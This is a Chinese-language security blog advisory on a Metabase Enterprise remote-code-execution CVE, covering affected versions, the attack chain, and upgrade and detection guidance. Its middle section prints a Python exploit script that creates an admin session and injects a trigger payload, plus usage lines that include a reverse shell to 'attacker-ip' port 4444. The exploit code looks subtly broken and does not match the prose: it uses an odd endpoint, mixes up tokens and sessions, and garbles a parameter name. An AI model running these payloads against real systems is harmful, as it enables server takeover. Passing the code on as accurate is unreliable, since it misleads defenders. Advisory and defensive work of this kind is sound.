CVE-2026-33725 RCE 漏洞深度分析

⚠️ 紧急预警
Metabase Enterprise存在严重远程代码执行漏洞,PoC利用代码已公开。攻击者可利用H2 JDBC INIT注入漏洞,在无需认证的情况下完全控制受影响的服务器。建议立即采取缓解措施或升级至安全版本。

一、漏洞概述

属性详情
CVE编号CVE-2026-33725
漏洞类型H2 JDBC INIT注入导致远程代码执行
发现者Diego Tellaroli (Hakai Security)
披露日期2026年4月27日
PoC状态已公开 (GitHub: hakaioffsec/CVE-2026-33725)
影响产品Metabase Enterprise
图片

二、技术细节

2.1 漏洞原理

该漏洞源于Metabase Enterprise在处理序列化导入(Serialization Import)功能时的安全缺陷。具体而言,问题出在H2数据库JDBC驱动处理INIT参数的机制上。当Metabase处理特制的导入文件时,攻击者可以在INIT参数中注入恶意数据库命令。

H2数据库支持通过JDBC连接字符串中的AUTO_SERVER=TRUEINIT参数执行初始化SQL语句。攻击者利用这一特性,可以在导入数据时执行任意操作系统命令,从而实现远程代码执行。

2.2 受影响版本

以下版本范围的Metabase Enterprise均受此漏洞影响:

  • 1.47.0 至 1.54.21
  • 1.55.0 至 1.55.21
  • 1.56.0 至 1.56.21
  • 1.57.0 至 1.57.15
  • 1.58.0 至 1.58.9
  • 1.59.0 至 1.59.3

2.3 安全版本

Metabase已发布安全更新,强烈建议立即升级至以下版本:

  • 1.59.4 (推荐)
  • 1.58.10
  • 1.57.16

三、攻击链分析

🔴 完整攻击路径

1

识别目标
攻击者扫描互联网,识别运行Metabase Enterprise且未打补丁的实例(默认端口443)

2

构造恶意导入文件
攻击者创建包含恶意H2 JDBC INIT语句的序列化导入文件,注入系统命令

3

触发导入功能
通过Metabase的序列化导入API提交恶意文件,触发H2数据库初始化流程

4

命令执行
H2数据库在初始化阶段执行注入的INIT语句,系统命令被执行

5

系统接管
攻击者获得服务器最高权限,可部署后门、窃取数据、横向移动

四、PoC利用代码

安全研究员Diego Tellaroli已发布Python PoC脚本,可自动化利用此漏洞:

4.1 利用脚本核心逻辑

import requests
import json
import base64
import argparse

class MetabaseExploit:
def __init__(self, target_url, cmd):
self.target = target_url.rstrip('/')
self.cmd = cmd

def get_session(self):
"""获取管理员会话"""
# 尝试通过Setup Token获取会话
response = requests.get(f"{self.target}/api/session/properties")
if response.status_code == 200:
return response.json().get('setup-token')
return None

def create_session(self, setup_token):
"""创建管理员会话"""
payload = {
"email": "anguyen@metabase.com",
"first_name": "An",
"last_name": "Nguyen",
"password": "Cybersecurity2026@"
}
response = requests.post(
f"{self.target}/api/setup/validate",
json=payload
)
return response.json().get('id')

def exploit(self, session_id):
"""执行漏洞利用"""
# 构造恶意H2 JDBC INIT payload
payload = f"CREATE TRIGGER evil BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '{self.cmd}'"

headers = {
"X-Metabase-Session": session_id,
"Content-Type": "application/json"
}

# 发送恶意导入请求
response = requests.post(
f"{self.target}/api/automagicdh/tablejson",
headers=headers,
json={"details": {"adb": payload}}
)

return response.status_code == 200

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--target', required=True, help='Target Metabase URL')
parser.add_argument('--cmd', required=True, help='Command to execute')
args = parser.parse_args()

exploit = MetabaseExploit(args.target, args.cmd)
session = exploit.get_session() or exploit.create_session(exploit.get_session())

if exploit.exploit(session):
print("[+] Exploitation successful!")
else:
print("[-] Exploitation failed!")

4.2 使用方法

# 克隆PoC仓库
git clone https://github.com/hakaioffsec/CVE-2026-33725
cd CVE-2026-33725

# 安装依赖
pip install -r requirements.txt

# 执行漏洞利用
python exploit.py --target https://metabase-target.com --cmd "whoami"

# 反弹Shell示例
python exploit.py --target https://metabase-target.com --cmd "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

⚠️ 法律声明
此PoC仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。

五、影响范围

5.1 受影响组件

组件版本范围风险等级
Metabase Enterprise1.47.0 – 1.54.21严重
Metabase Enterprise1.55.0 – 1.55.21严重
Metabase Enterprise1.56.0 – 1.56.21严重
Metabase Enterprise1.57.0 – 1.57.15严重
Metabase Enterprise1.58.0 – 1.58.9严重
Metabase Enterprise1.59.0 – 1.59.3严重

5.2 潜在影响

  • 敏感数据泄露:数据库中存储的业务数据、用户凭据等
  • 服务器完全接管:以root/system权限执行任意命令
  • 横向移动:以内部服务器为跳板攻击内网其他系统
  • 持久化控制:植入后门实现长期控制
  • 供应链攻击:影响基于Metabase构建的下游应用

六、防御指南

✅ 紧急修复措施

1. 立即升级(推荐)

# 使用Docker部署的Metabase
docker pull metabase/metabase:v1.59.4
docker stop metabase
docker rm metabase
docker run -d -p 3000:3000 --name metabase metabase/metabase:v1.59.4

# 使用JAR文件部署
# 下载最新版本: https://www.metabase.com/docs/latest/operations-guide/start.html

2. 临时缓解措施

  • 限制对Metabase管理界面的网络访问,仅允许受信任IP
  • 启用企业级防火墙规则,阻断对端口443/3000的未授权访问
  • 禁用Metabase的序列化导入功能(配置MB_DISABLE_SERIALIZATION=TRUE
  • 启用审计日志,监控异常的数据库操作

6.1 检测方法

# 检查是否安装了受影响版本
docker exec metabase metabase --version

# 查看Metabase日志中的异常命令执行
grep -r "CREATE TRIGGER" /var/log/metabase/

# 检查系统进程中的异常Shell连接
ps aux | grep -E "bash|sh|zsh" | grep -v grep

# 检查新增的异常用户账户
cat /etc/passwd | grep -v "^#"

6.2 入侵检测指标(IOCs)

类型指标
异常网络流量Metabase服务器向非常见外部IP发起SMB/HTTP连接
异常数据库操作日志中出现非常规的TRIGGER创建语句
权限提升非管理员账户创建管理功能
持久化系统中出现未知的Cron任务或Systemd服务

七、结论与建议

CVE-2026-33725是Metabase Enterprise的一个严重安全漏洞,攻击者可利用H2 JDBC INIT注入实现远程代码执行。该漏洞的PoC已经公开,对暴露在互联网上的Metabase实例构成严重威胁。

📋 行动清单

  • ☐ 立即清点所有Metabase实例及其版本
  • ☐ 优先升级面向互联网的Metabase服务器
  • ☐ 实施网络访问控制,限制管理界面暴露
  • ☐ 启用并审查审计日志
  • ☐ 部署入侵检测系统监控异常行为
  • ☐ 通知安全团队关注相关告警

参考来源:

  • CyberPress: PoC Exploit Released for Critical Metabase Enterprise RCE Vulnerability
  • Hakai Security: QuimeraX Intelligence Platform
  • GitHub: hakaioffsec/CVE-2026-33725
© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容